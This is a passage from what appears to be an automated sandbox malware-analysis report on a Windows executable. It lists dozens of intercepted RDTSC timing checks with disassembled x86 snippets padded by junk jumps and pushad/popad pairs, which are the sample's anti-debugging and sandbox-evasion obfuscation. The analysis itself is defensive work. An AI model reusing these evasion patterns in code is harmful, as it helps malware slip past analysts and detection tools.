0x0000006f pushad 0x00000070 jmp 00007FF1148823CDh 0x00000075 mov eax, 18421DE7h 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C08DD second address: 72C097F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, DDh 0x00000005 pushfd 0x00000006 jmp 00007FF114F02984h 0x0000000b adc eax, 51F37D48h 0x00000011 jmp 00007FF114F0297Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FF114F02984h 0x00000022 add ah, FFFFFFA8h 0x00000025 jmp 00007FF114F0297Bh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007FF114F02988h 0x00000031 jmp 00007FF114F02985h 0x00000036 popfd 0x00000037 popad 0x00000038 push eax 0x00000039 jmp 00007FF114F02981h 0x0000003e nop 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 mov bh, 52h 0x00000044 mov cx, CD7Bh 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C097F second address: 72C0985 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0985 second address: 72C0A3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02983h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-10h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF114F02984h 0x00000015 xor cx, 2928h 0x0000001a jmp 00007FF114F0297Bh 0x0000001f popfd 0x00000020 pushad 0x00000021 jmp 00007FF114F02986h 0x00000026 pushfd 0x00000027 jmp 00007FF114F02982h 0x0000002c adc ecx, 38A9B6B8h 0x00000032 jmp 00007FF114F0297Bh 0x00000037 popfd 0x00000038 popad 0x00000039 popad 0x0000003a nop 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007FF114F0297Bh 0x00000044 adc eax, 740AC87Eh 0x0000004a jmp 00007FF114F02989h 0x0000004f popfd 0x00000050 mov ecx, 46284AC7h 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0A3C second address: 72C0A54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0A54 second address: 72C0A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0A58 second address: 72C0A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0AF2 second address: 72C0B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF114F0297Fh 0x00000009 jmp 00007FF114F02983h 0x0000000e popfd 0x0000000f mov dx, ax 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov dword ptr [esi+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0B28 second address: 72C0B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0B2C second address: 72C0B43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02983h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0B43 second address: 72C0B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0B49 second address: 72C0B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0B4D second address: 72C0B6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebx+78h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edi 0x00000012 pop ecx 0x00000013 movsx edx, si 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0B6A second address: 72C0B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 416A693Ah 0x00000008 mov ecx, edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push 00000001h 0x0000000f jmp 00007FF114F0297Dh 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF114F0297Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0B96 second address: 72C0B9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0B9B second address: 72C0BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0BA1 second address: 72C0C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FF1148823D6h 0x0000000e mov eax, 4D981BA1h 0x00000013 popad 0x00000014 nop 0x00000015 pushad 0x00000016 mov edi, ecx 0x00000018 push ecx 0x00000019 pushfd 0x0000001a jmp 00007FF1148823D5h 0x0000001f sbb ecx, 5818DB26h 0x00000025 jmp 00007FF1148823D1h 0x0000002a popfd 0x0000002b pop ecx 0x0000002c popad 0x0000002d lea eax, dword ptr [ebp-08h] 0x00000030 jmp 00007FF1148823D7h 0x00000035 nop 0x00000036 pushad 0x00000037 movzx esi, dx 0x0000003a jmp 00007FF1148823D1h 0x0000003f popad 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0C33 second address: 72C0C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0C37 second address: 72C0C3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0C3B second address: 72C0C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0C7D second address: 72C0C83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0C83 second address: 72C0C94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF114F0297Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0C94 second address: 72C0CA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov esi, ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0CA3 second address: 72C0CE7 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FF114F02981h 0x0000000c xor al, FFFFFFB6h 0x0000000f jmp 00007FF114F02981h 0x00000014 popfd 0x00000015 popad 0x00000016 test edi, edi 0x00000018 pushad 0x00000019 mov edi, eax 0x0000001b mov cx, 339Fh 0x0000001f popad 0x00000020 js 00007FF183571354h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0CE7 second address: 72C0CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0CEB second address: 72C0CF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0CF1 second address: 72C0D60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF1148823D4h 0x00000009 xor cx, E638h 0x0000000e jmp 00007FF1148823CBh 0x00000013 popfd 0x00000014 mov edx, eax 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr [ebp-04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FF1148823D7h 0x00000025 sbb eax, 0D4978AEh 0x0000002b jmp 00007FF1148823D9h 0x00000030 popfd 0x00000031 pushad 0x00000032 popad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0D60 second address: 72C0D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0D66 second address: 72C0D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0D6A second address: 72C0DB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+08h], eax 0x0000000e jmp 00007FF114F0297Eh 0x00000013 lea eax, dword ptr [ebx+70h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF114F02987h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0DB6 second address: 72C0DBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0DBC second address: 72C0DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0DC0 second address: 72C0DC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0DC4 second address: 72C0DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000001h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF114F0297Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0DDA second address: 72C0E08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov cl, 27h 0x0000000d jmp 00007FF1148823D1h 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov edi, ecx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0E08 second address: 72C0E25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 1CF26E66h 0x00000008 push edi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF114F0297Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0E25 second address: 72C0E29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0E29 second address: 72C0E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0E2F second address: 72C0E74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-18h] 0x0000000c jmp 00007FF1148823D0h 0x00000011 nop 0x00000012 pushad 0x00000013 mov edx, eax 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF1148823D2h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0E74 second address: 72C0E8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0E8A second address: 72C0E90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0E90 second address: 72C0E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0E96 second address: 72C0E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0EC1 second address: 72C0F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF114F0297Fh 0x00000009 adc cx, 0F1Eh 0x0000000e jmp 00007FF114F02989h 0x00000013 popfd 0x00000014 jmp 00007FF114F02980h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov edi, eax 0x0000001e jmp 00007FF114F02980h 0x00000023 test edi, edi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0F20 second address: 72C0F3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0F3D second address: 72C0F74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FF1835710D3h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF114F02988h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0F74 second address: 72C0F7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0F7A second address: 72C0FBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp-14h] 0x0000000c jmp 00007FF114F02980h 0x00000011 mov ecx, esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF114F02987h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0FBA second address: 72C0FC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0FC0 second address: 72C0FED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+0Ch], eax 0x0000000b jmp 00007FF114F02987h 0x00000010 mov edx, 759B06ECh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0FED second address: 72C0FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0FF1 second address: 72C0FF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C0FF7 second address: 72C1035 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub eax, eax 0x0000000b jmp 00007FF1148823D1h 0x00000010 lock cmpxchg dword ptr [edx], ecx 0x00000014 pushad 0x00000015 mov dh, cl 0x00000017 mov cx, bx 0x0000001a popad 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF1148823CDh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1035 second address: 72C1039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1039 second address: 72C103F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C103F second address: 72C10D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007FF114F02980h 0x00000010 jne 00007FF183570FF1h 0x00000016 jmp 00007FF114F02980h 0x0000001b mov edx, dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f mov si, bx 0x00000022 popad 0x00000023 mov eax, dword ptr [esi] 0x00000025 jmp 00007FF114F0297Fh 0x0000002a mov dword ptr [edx], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov si, di 0x00000032 pushfd 0x00000033 jmp 00007FF114F02987h 0x00000038 xor ax, BC4Eh 0x0000003d jmp 00007FF114F02989h 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C10D0 second address: 72C1125 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF1148823D7h 0x00000009 xor al, 0000005Eh 0x0000000c jmp 00007FF1148823D9h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov eax, dword ptr [esi+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF1148823D3h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1125 second address: 72C112B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C112B second address: 72C112F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C112F second address: 72C115D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+04h], eax 0x0000000e pushad 0x0000000f mov edx, eax 0x00000011 popad 0x00000012 mov eax, dword ptr [esi+08h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF114F0297Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C115D second address: 72C1161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1161 second address: 72C1167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1167 second address: 72C1194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov bl, A6h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+08h], eax 0x0000000e jmp 00007FF1148823D6h 0x00000013 mov eax, dword ptr [esi+0Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1194 second address: 72C1198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1198 second address: 72C119E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C119E second address: 72C11A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C11A4 second address: 72C11A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C11A8 second address: 72C11D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+0Ch], eax 0x0000000b jmp 00007FF114F0297Ah 0x00000010 mov eax, dword ptr [esi+10h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF114F02987h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C11D9 second address: 72C1203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, C2AAh 0x00000007 mov cx, bx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+10h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF1148823D8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1203 second address: 72C1209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1209 second address: 72C120D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C120D second address: 72C1232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+14h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF114F0297Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1232 second address: 72C1250 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+14h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1250 second address: 72C1254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1254 second address: 72C125A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C125A second address: 72C127C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02982h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+18h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop esi 0x00000011 movsx edx, si 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C127C second address: 72C12EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF1148823D1h 0x00000008 mov ebx, ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+18h], eax 0x00000010 pushad 0x00000011 jmp 00007FF1148823D8h 0x00000016 push ecx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a popad 0x0000001b mov eax, dword ptr [esi+1Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FF1148823CFh 0x00000027 adc eax, 1117278Eh 0x0000002d jmp 00007FF1148823D9h 0x00000032 popfd 0x00000033 push eax 0x00000034 pop ebx 0x00000035 popad 0x00000036 rdtsc
